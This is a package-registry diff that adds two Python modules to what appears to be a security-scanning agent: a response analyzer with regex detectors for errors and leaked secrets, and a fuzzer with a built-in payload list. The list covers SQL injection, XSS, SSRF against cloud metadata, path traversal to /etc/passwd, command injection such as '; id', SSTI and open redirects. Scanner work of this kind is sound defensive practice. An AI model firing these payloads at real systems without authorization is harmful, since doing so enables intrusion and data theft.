exaai-agent 2.0.5__py3-none-any.whl → 2.0.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,294 @@
1
+ """
2
+ Response Analyzer - Intelligent response analysis for vulnerability detection.
3
+
4
+ Features:
5
+ - Error message detection
6
+ - Sensitive data leakage detection
7
+ - Response comparison for blind testing
8
+ - Timing analysis
9
+ """
10
+
11
+ import logging
12
+ import re
13
+ import hashlib
14
+ from dataclasses import dataclass, field
15
+ from enum import Enum
16
+ from typing import Any, Optional
17
+ from difflib import SequenceMatcher
18
+
19
+
20
+ logger = logging.getLogger(__name__)
21
+
22
+
23
+ class DetectionType(Enum):
24
+ """Types of detections."""
25
+ SQL_ERROR = "sql_error"
26
+ PATH_DISCLOSURE = "path_disclosure"
27
+ STACK_TRACE = "stack_trace"
28
+ VERSION_DISCLOSURE = "version_disclosure"
29
+ SENSITIVE_DATA = "sensitive_data"
30
+ DEBUG_INFO = "debug_info"
31
+ CONFIG_LEAK = "config_leak"
32
+ REFLECTION = "reflection"
33
+ TIMING_ANOMALY = "timing_anomaly"
34
+
35
+
36
+ @dataclass
37
+ class Detection:
38
+ """A detection finding."""
39
+ detection_type: DetectionType
40
+ confidence: float # 0.0 - 1.0
41
+ evidence: str
42
+ location: str = ""
43
+ severity: int = 5 # 1-10
44
+
45
+
46
+ @dataclass
47
+ class AnalysisResult:
48
+ """Result of response analysis."""
49
+ detections: list[Detection] = field(default_factory=list)
50
+ response_hash: str = ""
51
+ response_length: int = 0
52
+ response_time_ms: float = 0.0
53
+ is_error: bool = False
54
+ status_code: int = 0
55
+
56
+
57
+ class ResponseAnalyzer:
58
+ """
59
+ Intelligent response analyzer for vulnerability detection.
60
+
61
+ Detects:
62
+ - SQL/Database errors
63
+ - Path disclosures
64
+ - Stack traces
65
+ - Sensitive data leakage
66
+ - Version information
67
+ - Debug/config information
68
+ """
69
+
70
+ _instance: Optional["ResponseAnalyzer"] = None
71
+
72
+ def __new__(cls) -> "ResponseAnalyzer":
73
+ if cls._instance is None:
74
+ cls._instance = super().__new__(cls)
75
+ cls._instance._initialized = False
76
+ return cls._instance
77
+
78
+ def __init__(self):
79
+ if self._initialized:
80
+ return
81
+
82
+ self._patterns = self._load_patterns()
83
+ self._baseline_responses: dict[str, str] = {}
84
+ self._initialized = True
85
+ logger.info("ResponseAnalyzer initialized")
86
+
87
+ def _load_patterns(self) -> dict[DetectionType, list[tuple[str, float]]]:
88
+ """Load detection patterns with confidence scores."""
89
+ return {
90
+ DetectionType.SQL_ERROR: [
91
+ (r"SQL syntax.*MySQL", 0.95),
92
+ (r"Warning.*mysql_", 0.9),
93
+ (r"PostgreSQL.*ERROR", 0.95),
94
+ (r"ORA-[0-9]{5}", 0.95),
95
+ (r"Microsoft.*ODBC.*SQL Server", 0.95),
96
+ (r"SQLite3?.*error", 0.9),
97
+ (r"Unclosed quotation mark", 0.85),
98
+ (r"syntax error at or near", 0.85),
99
+ (r"mysql_fetch", 0.8),
100
+ (r"pg_query", 0.8),
101
+ (r"SQLSTATE\[", 0.9),
102
+ ],
103
+ DetectionType.PATH_DISCLOSURE: [
104
+ (r"/var/www/", 0.9),
105
+ (r"C:\\[Ii]netpub\\", 0.9),
106
+ (r"/home/\w+/", 0.85),
107
+ (r"/usr/local/", 0.7),
108
+ (r"DocumentRoot", 0.8),
109
+ (r"DOCUMENT_ROOT", 0.8),
110
+ (r"in\s+/\w+/.+\.php", 0.9),
111
+ (r"at\s+\w+\.py", 0.85),
112
+ ],
113
+ DetectionType.STACK_TRACE: [
114
+ (r"Traceback \(most recent call last\)", 0.95),
115
+ (r"at\s+\S+\.\S+\(\S+\.java:\d+\)", 0.95),
116
+ (r"File\s+\".*\",\s+line\s+\d+", 0.9),
117
+ (r"#\d+\s+\S+\.\S+\s+called at", 0.85),
118
+ (r"Stack trace:", 0.9),
119
+ (r"Exception in thread", 0.9),
120
+ ],
121
+ DetectionType.VERSION_DISCLOSURE: [
122
+ (r"Apache/[\d.]+", 0.8),
123
+ (r"nginx/[\d.]+", 0.8),
124
+ (r"PHP/[\d.]+", 0.85),
125
+ (r"Python/[\d.]+", 0.85),
126
+ (r"ASP\.NET\s+Version:[\d.]+", 0.9),
127
+ (r"X-Powered-By:\s*\S+", 0.7),
128
+ (r"Server:\s*\S+", 0.6),
129
+ ],
130
+ DetectionType.SENSITIVE_DATA: [
131
+ (r"password\s*[=:]\s*['\"]?\w+", 0.9),
132
+ (r"api[_-]?key\s*[=:]\s*['\"]?\w+", 0.95),
133
+ (r"secret[_-]?key\s*[=:]\s*['\"]?\w+", 0.95),
134
+ (r"aws[_-]?access[_-]?key", 0.95),
135
+ (r"sk_live_\w+", 0.95), # Stripe
136
+ (r"ghp_\w+", 0.95), # GitHub
137
+ (r"eyJ[A-Za-z0-9_-]+\.eyJ", 0.9), # JWT
138
+ (r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b", 0.6), # Email
139
+ ],
140
+ DetectionType.DEBUG_INFO: [
141
+ (r"DEBUG\s*=\s*True", 0.95),
142
+ (r"debug mode is on", 0.9),
143
+ (r"Xdebug", 0.85),
144
+ (r"GLOBALS\[", 0.8),
145
+ (r"var_dump\(", 0.85),
146
+ (r"print_r\(", 0.8),
147
+ (r"console\.log\(", 0.5),
148
+ ],
149
+ DetectionType.CONFIG_LEAK: [
150
+ (r"DB_HOST\s*=", 0.9),
151
+ (r"DATABASE_URL\s*=", 0.9),
152
+ (r"REDIS_URL\s*=", 0.85),
153
+ (r"mongodb://", 0.85),
154
+ (r"mysql://\w+:\w+@", 0.95),
155
+ (r"SECRET_KEY\s*=", 0.95),
156
+ ],
157
+ DetectionType.REFLECTION: [
158
+ # Patterns for reflected input
159
+ (r"<script[^>]*>.*alert.*</script>", 0.95),
160
+ (r"onerror\s*=", 0.9),
161
+ (r"onload\s*=", 0.85),
162
+ (r"javascript:", 0.8),
163
+ ],
164
+ }
165
+
166
+ def analyze(
167
+ self,
168
+ response_body: str,
169
+ status_code: int = 200,
170
+ response_time_ms: float = 0.0,
171
+ headers: Optional[dict[str, str]] = None
172
+ ) -> AnalysisResult:
173
+ """Analyze a response for vulnerabilities and information leakage."""
174
+ result = AnalysisResult(
175
+ response_hash=self._hash_response(response_body),
176
+ response_length=len(response_body),
177
+ response_time_ms=response_time_ms,
178
+ status_code=status_code,
179
+ is_error=status_code >= 400
180
+ )
181
+
182
+ # Check response body
183
+ for detection_type, patterns in self._patterns.items():
184
+ for pattern, confidence in patterns:
185
+ matches = re.findall(pattern, response_body, re.IGNORECASE)
186
+ if matches:
187
+ result.detections.append(Detection(
188
+ detection_type=detection_type,
189
+ confidence=confidence,
190
+ evidence=matches[0] if isinstance(matches[0], str) else str(matches[0]),
191
+ severity=self._get_severity(detection_type)
192
+ ))
193
+
194
+ # Check headers
195
+ if headers:
196
+ header_str = "\n".join(f"{k}: {v}" for k, v in headers.items())
197
+ for pattern, confidence in self._patterns.get(DetectionType.VERSION_DISCLOSURE, []):
198
+ matches = re.findall(pattern, header_str, re.IGNORECASE)
199
+ if matches:
200
+ result.detections.append(Detection(
201
+ detection_type=DetectionType.VERSION_DISCLOSURE,
202
+ confidence=confidence,
203
+ evidence=matches[0],
204
+ location="headers"
205
+ ))
206
+
207
+ # Timing analysis
208
+ if response_time_ms > 5000: # 5 seconds
209
+ result.detections.append(Detection(
210
+ detection_type=DetectionType.TIMING_ANOMALY,
211
+ confidence=0.7,
212
+ evidence=f"Response time: {response_time_ms}ms",
213
+ severity=6
214
+ ))
215
+
216
+ return result
217
+
218
+ def compare_responses(
219
+ self,
220
+ response1: str,
221
+ response2: str,
222
+ threshold: float = 0.9
223
+ ) -> tuple[bool, float]:
224
+ """
225
+ Compare two responses to detect differences.
226
+
227
+ Returns: (are_similar, similarity_ratio)
228
+ """
229
+ ratio = SequenceMatcher(None, response1, response2).ratio()
230
+ return ratio >= threshold, ratio
231
+
232
+ def set_baseline(self, endpoint: str, response: str):
233
+ """Set a baseline response for an endpoint."""
234
+ self._baseline_responses[endpoint] = self._hash_response(response)
235
+
236
+ def is_different_from_baseline(self, endpoint: str, response: str) -> bool:
237
+ """Check if response differs from baseline."""
238
+ if endpoint not in self._baseline_responses:
239
+ return False
240
+
241
+ current_hash = self._hash_response(response)
242
+ return current_hash != self._baseline_responses[endpoint]
243
+
244
+ def _hash_response(self, response: str) -> str:
245
+ """Create a hash of the response."""
246
+ # Normalize whitespace
247
+ normalized = re.sub(r'\s+', ' ', response.strip())
248
+ return hashlib.md5(normalized.encode()).hexdigest()
249
+
250
+ def _get_severity(self, detection_type: DetectionType) -> int:
251
+ """Get severity level for a detection type."""
252
+ severity_map = {
253
+ DetectionType.SQL_ERROR: 8,
254
+ DetectionType.PATH_DISCLOSURE: 5,
255
+ DetectionType.STACK_TRACE: 6,
256
+ DetectionType.VERSION_DISCLOSURE: 4,
257
+ DetectionType.SENSITIVE_DATA: 9,
258
+ DetectionType.DEBUG_INFO: 7,
259
+ DetectionType.CONFIG_LEAK: 9,
260
+ DetectionType.REFLECTION: 8,
261
+ DetectionType.TIMING_ANOMALY: 6,
262
+ }
263
+ return severity_map.get(detection_type, 5)
264
+
265
+ def get_stats(self) -> dict[str, Any]:
266
+ """Get analyzer statistics."""
267
+ return {
268
+ "pattern_count": sum(len(p) for p in self._patterns.values()),
269
+ "detection_types": [t.value for t in DetectionType],
270
+ "baselines_set": len(self._baseline_responses),
271
+ }
272
+
273
+
274
+ # Global instance
275
+ _analyzer: Optional[ResponseAnalyzer] = None
276
+
277
+
278
+ def get_response_analyzer() -> ResponseAnalyzer:
279
+ """Get or create the global analyzer instance."""
280
+ global _analyzer
281
+ if _analyzer is None:
282
+ _analyzer = ResponseAnalyzer()
283
+ return _analyzer
284
+
285
+
286
+ def analyze_response(
287
+ response_body: str,
288
+ status_code: int = 200,
289
+ response_time_ms: float = 0.0,
290
+ headers: Optional[dict[str, str]] = None
291
+ ) -> AnalysisResult:
292
+ """Convenience function to analyze a response."""
293
+ analyzer = get_response_analyzer()
294
+ return analyzer.analyze(response_body, status_code, response_time_ms, headers)
@@ -0,0 +1,286 @@
1
+ """
2
+ Smart Fuzzer - Intelligent fuzzing with context-aware payloads.
3
+
4
+ Features:
5
+ - Context-aware payload generation
6
+ - Parameter type detection
7
+ - Adaptive fuzzing based on responses
8
+ - Built-in payload database
9
+ """
10
+
11
+ import logging
12
+ import re
13
+ from dataclasses import dataclass, field
14
+ from enum import Enum
15
+ from typing import Any, Optional
16
+
17
+
18
+ logger = logging.getLogger(__name__)
19
+
20
+
21
+ class ParamType(Enum):
22
+ """Detected parameter types."""
23
+ NUMERIC = "numeric"
24
+ STRING = "string"
25
+ EMAIL = "email"
26
+ URL = "url"
27
+ JSON = "json"
28
+ BOOLEAN = "boolean"
29
+ DATE = "date"
30
+ FILE = "file"
31
+ UNKNOWN = "unknown"
32
+
33
+
34
+ class VulnCategory(Enum):
35
+ """Vulnerability categories for fuzzing."""
36
+ SQLI = "sql_injection"
37
+ XSS = "xss"
38
+ SSRF = "ssrf"
39
+ SSTI = "ssti"
40
+ PATH_TRAVERSAL = "path_traversal"
41
+ COMMAND_INJECTION = "command_injection"
42
+ IDOR = "idor"
43
+ XXE = "xxe"
44
+ OPEN_REDIRECT = "open_redirect"
45
+
46
+
47
+ @dataclass
48
+ class FuzzPayload:
49
+ """A fuzzing payload with metadata."""
50
+ payload: str
51
+ category: VulnCategory
52
+ description: str
53
+ detection_pattern: Optional[str] = None
54
+ risk_level: int = 5 # 1-10
55
+
56
+
57
+ @dataclass
58
+ class FuzzResult:
59
+ """Result of a fuzzing attempt."""
60
+ payload: FuzzPayload
61
+ success: bool
62
+ response_code: int = 0
63
+ response_body: str = ""
64
+ detection_matched: bool = False
65
+ notes: str = ""
66
+
67
+
68
+ class SmartFuzzer:
69
+ """
70
+ Intelligent fuzzing engine with context-aware payloads.
71
+
72
+ Features:
73
+ - Detects parameter type automatically
74
+ - Selects appropriate payloads
75
+ - Tracks successful patterns
76
+ - Adapts based on responses
77
+ """
78
+
79
+ _instance: Optional["SmartFuzzer"] = None
80
+
81
+ def __new__(cls) -> "SmartFuzzer":
82
+ if cls._instance is None:
83
+ cls._instance = super().__new__(cls)
84
+ cls._instance._initialized = False
85
+ return cls._instance
86
+
87
+ def __init__(self):
88
+ if self._initialized:
89
+ return
90
+
91
+ self._payloads: dict[VulnCategory, list[FuzzPayload]] = {}
92
+ self._successful_patterns: list[str] = []
93
+ self._load_payloads()
94
+ self._initialized = True
95
+ logger.info("SmartFuzzer initialized")
96
+
97
+ def _load_payloads(self):
98
+ """Load built-in payload database."""
99
+
100
+ # SQL Injection payloads
101
+ self._payloads[VulnCategory.SQLI] = [
102
+ FuzzPayload("'", VulnCategory.SQLI, "Single quote test", r"(sql|syntax|error|mysql|postgres|oracle)", 3),
103
+ FuzzPayload("' OR '1'='1", VulnCategory.SQLI, "Classic OR bypass", None, 5),
104
+ FuzzPayload("' OR 1=1--", VulnCategory.SQLI, "Comment bypass", None, 5),
105
+ FuzzPayload("' UNION SELECT NULL--", VulnCategory.SQLI, "UNION test", None, 6),
106
+ FuzzPayload("1' AND SLEEP(5)--", VulnCategory.SQLI, "Time-based blind", None, 7),
107
+ FuzzPayload("1; WAITFOR DELAY '0:0:5'--", VulnCategory.SQLI, "MSSQL time-based", None, 7),
108
+ FuzzPayload("' AND '1'='1", VulnCategory.SQLI, "Boolean-based", None, 5),
109
+ FuzzPayload("admin'--", VulnCategory.SQLI, "Comment injection", None, 4),
110
+ FuzzPayload("1' ORDER BY 10--", VulnCategory.SQLI, "Column enumeration", None, 5),
111
+ ]
112
+
113
+ # XSS payloads
114
+ self._payloads[VulnCategory.XSS] = [
115
+ FuzzPayload("<script>alert(1)</script>", VulnCategory.XSS, "Basic script", r"<script>alert\(1\)</script>", 5),
116
+ FuzzPayload("<img src=x onerror=alert(1)>", VulnCategory.XSS, "IMG onerror", r"<img[^>]+onerror", 5),
117
+ FuzzPayload("<svg onload=alert(1)>", VulnCategory.XSS, "SVG onload", r"<svg[^>]+onload", 5),
118
+ FuzzPayload("javascript:alert(1)", VulnCategory.XSS, "Javascript protocol", r"javascript:", 4),
119
+ FuzzPayload("'-alert(1)-'", VulnCategory.XSS, "DOM XSS", None, 6),
120
+ FuzzPayload("<body onload=alert(1)>", VulnCategory.XSS, "Body onload", r"<body[^>]+onload", 5),
121
+ FuzzPayload("{{7*7}}", VulnCategory.XSS, "Template injection test", r"49", 4),
122
+ FuzzPayload("<iframe src=javascript:alert(1)>", VulnCategory.XSS, "Iframe injection", None, 5),
123
+ ]
124
+
125
+ # SSRF payloads
126
+ self._payloads[VulnCategory.SSRF] = [
127
+ FuzzPayload("http://127.0.0.1", VulnCategory.SSRF, "Localhost", None, 5),
128
+ FuzzPayload("http://localhost", VulnCategory.SSRF, "Localhost name", None, 5),
129
+ FuzzPayload("http://[::1]", VulnCategory.SSRF, "IPv6 localhost", None, 6),
130
+ FuzzPayload("http://169.254.169.254", VulnCategory.SSRF, "AWS metadata", r"ami-id|instance-id", 8),
131
+ FuzzPayload("http://metadata.google.internal", VulnCategory.SSRF, "GCP metadata", None, 8),
132
+ FuzzPayload("file:///etc/passwd", VulnCategory.SSRF, "File protocol", r"root:.*:0:0", 9),
133
+ FuzzPayload("http://0.0.0.0:80", VulnCategory.SSRF, "All interfaces", None, 5),
134
+ FuzzPayload("http://127.0.0.1:22", VulnCategory.SSRF, "Port scan", r"SSH", 6),
135
+ ]
136
+
137
+ # Path Traversal payloads
138
+ self._payloads[VulnCategory.PATH_TRAVERSAL] = [
139
+ FuzzPayload("../../../etc/passwd", VulnCategory.PATH_TRAVERSAL, "Basic traversal", r"root:", 7),
140
+ FuzzPayload("....//....//....//etc/passwd", VulnCategory.PATH_TRAVERSAL, "Double encoding", r"root:", 7),
141
+ FuzzPayload("..%2f..%2f..%2fetc/passwd", VulnCategory.PATH_TRAVERSAL, "URL encoded", r"root:", 7),
142
+ FuzzPayload("/etc/passwd%00.jpg", VulnCategory.PATH_TRAVERSAL, "Null byte", r"root:", 8),
143
+ FuzzPayload("..\\..\\..\\windows\\win.ini", VulnCategory.PATH_TRAVERSAL, "Windows traversal", r"\[fonts\]", 7),
144
+ ]
145
+
146
+ # Command Injection payloads
147
+ self._payloads[VulnCategory.COMMAND_INJECTION] = [
148
+ FuzzPayload("; id", VulnCategory.COMMAND_INJECTION, "Semicolon", r"uid=", 8),
149
+ FuzzPayload("| id", VulnCategory.COMMAND_INJECTION, "Pipe", r"uid=", 8),
150
+ FuzzPayload("& id", VulnCategory.COMMAND_INJECTION, "Ampersand", r"uid=", 8),
151
+ FuzzPayload("$(id)", VulnCategory.COMMAND_INJECTION, "Command substitution", r"uid=", 8),
152
+ FuzzPayload("`id`", VulnCategory.COMMAND_INJECTION, "Backticks", r"uid=", 8),
153
+ FuzzPayload("|| ping -c 3 127.0.0.1", VulnCategory.COMMAND_INJECTION, "Ping test", None, 7),
154
+ ]
155
+
156
+ # SSTI payloads
157
+ self._payloads[VulnCategory.SSTI] = [
158
+ FuzzPayload("{{7*7}}", VulnCategory.SSTI, "Jinja2/Twig test", r"49", 6),
159
+ FuzzPayload("${7*7}", VulnCategory.SSTI, "Freemarker test", r"49", 6),
160
+ FuzzPayload("<%= 7*7 %>", VulnCategory.SSTI, "ERB test", r"49", 6),
161
+ FuzzPayload("{{config}}", VulnCategory.SSTI, "Config leak", r"SECRET_KEY", 8),
162
+ FuzzPayload("{{self.__class__.__mro__}}", VulnCategory.SSTI, "Python MRO", r"class", 7),
163
+ ]
164
+
165
+ # Open Redirect payloads
166
+ self._payloads[VulnCategory.OPEN_REDIRECT] = [
167
+ FuzzPayload("//evil.com", VulnCategory.OPEN_REDIRECT, "Protocol-relative", None, 5),
168
+ FuzzPayload("https://evil.com", VulnCategory.OPEN_REDIRECT, "Direct redirect", None, 5),
169
+ FuzzPayload("/\\evil.com", VulnCategory.OPEN_REDIRECT, "Backslash bypass", None, 6),
170
+ FuzzPayload("//evil.com/%2f..", VulnCategory.OPEN_REDIRECT, "Path confusion", None, 6),
171
+ ]
172
+
173
+ def detect_param_type(self, param_name: str, param_value: str) -> ParamType:
174
+ """Detect the type of a parameter based on name and value."""
175
+ name_lower = param_name.lower()
176
+
177
+ # Check by name patterns
178
+ if any(x in name_lower for x in ['email', 'mail']):
179
+ return ParamType.EMAIL
180
+ if any(x in name_lower for x in ['url', 'link', 'redirect', 'next', 'return', 'goto']):
181
+ return ParamType.URL
182
+ if any(x in name_lower for x in ['file', 'path', 'document', 'upload']):
183
+ return ParamType.FILE
184
+ if any(x in name_lower for x in ['date', 'time', 'created', 'updated']):
185
+ return ParamType.DATE
186
+ if any(x in name_lower for x in ['id', 'num', 'count', 'page', 'size', 'limit']):
187
+ return ParamType.NUMERIC
188
+
189
+ # Check by value patterns
190
+ if param_value.isdigit():
191
+ return ParamType.NUMERIC
192
+ if re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', param_value):
193
+ return ParamType.EMAIL
194
+ if param_value.lower() in ['true', 'false', '1', '0', 'yes', 'no']:
195
+ return ParamType.BOOLEAN
196
+ if param_value.startswith(('http://', 'https://', '//')):
197
+ return ParamType.URL
198
+ if param_value.startswith(('{', '[')):
199
+ return ParamType.JSON
200
+
201
+ return ParamType.STRING
202
+
203
+ def get_payloads_for_param(
204
+ self,
205
+ param_name: str,
206
+ param_value: str,
207
+ categories: Optional[list[VulnCategory]] = None
208
+ ) -> list[FuzzPayload]:
209
+ """Get appropriate payloads for a parameter."""
210
+ param_type = self.detect_param_type(param_name, param_value)
211
+ payloads = []
212
+
213
+ # If specific categories requested, use those
214
+ if categories:
215
+ for cat in categories:
216
+ if cat in self._payloads:
217
+ payloads.extend(self._payloads[cat])
218
+ return payloads
219
+
220
+ # Otherwise, select based on parameter type
221
+ if param_type == ParamType.URL:
222
+ payloads.extend(self._payloads.get(VulnCategory.SSRF, []))
223
+ payloads.extend(self._payloads.get(VulnCategory.OPEN_REDIRECT, []))
224
+
225
+ if param_type == ParamType.NUMERIC:
226
+ payloads.extend(self._payloads.get(VulnCategory.SQLI, []))
227
+ payloads.extend(self._payloads.get(VulnCategory.IDOR, []))
228
+
229
+ if param_type == ParamType.FILE:
230
+ payloads.extend(self._payloads.get(VulnCategory.PATH_TRAVERSAL, []))
231
+
232
+ if param_type == ParamType.STRING:
233
+ payloads.extend(self._payloads.get(VulnCategory.SQLI, []))
234
+ payloads.extend(self._payloads.get(VulnCategory.XSS, []))
235
+ payloads.extend(self._payloads.get(VulnCategory.SSTI, []))
236
+ payloads.extend(self._payloads.get(VulnCategory.COMMAND_INJECTION, []))
237
+
238
+ return payloads
239
+
240
+ def get_all_payloads(self, category: VulnCategory) -> list[FuzzPayload]:
241
+ """Get all payloads for a specific category."""
242
+ return self._payloads.get(category, [])
243
+
244
+ def check_detection(self, payload: FuzzPayload, response_body: str) -> bool:
245
+ """Check if detection pattern matches in response."""
246
+ if not payload.detection_pattern:
247
+ return False
248
+
249
+ return bool(re.search(payload.detection_pattern, response_body, re.IGNORECASE))
250
+
251
+ def record_success(self, pattern: str):
252
+ """Record a successful payload pattern for learning."""
253
+ if pattern not in self._successful_patterns:
254
+ self._successful_patterns.append(pattern)
255
+ logger.info(f"Recorded successful pattern: {pattern}")
256
+
257
+ def get_stats(self) -> dict[str, Any]:
258
+ """Get fuzzer statistics."""
259
+ total_payloads = sum(len(p) for p in self._payloads.values())
260
+ return {
261
+ "total_payloads": total_payloads,
262
+ "categories": list(self._payloads.keys()),
263
+ "successful_patterns": len(self._successful_patterns),
264
+ }
265
+
266
+
267
+ # Global instance
268
+ _fuzzer: Optional[SmartFuzzer] = None
269
+
270
+
271
+ def get_smart_fuzzer() -> SmartFuzzer:
272
+ """Get or create the global fuzzer instance."""
273
+ global _fuzzer
274
+ if _fuzzer is None:
275
+ _fuzzer = SmartFuzzer()
276
+ return _fuzzer
277
+
278
+
279
+ def fuzz_parameter(
280
+ param_name: str,
281
+ param_value: str,
282
+ categories: Optional[list[VulnCategory]] = None
283
+ ) -> list[FuzzPayload]:
284
+ """Convenience function to get payloads for a parameter."""
285
+ fuzzer = get_smart_fuzzer()
286
+ return fuzzer.get_payloads_for_param(param_name, param_value, categories)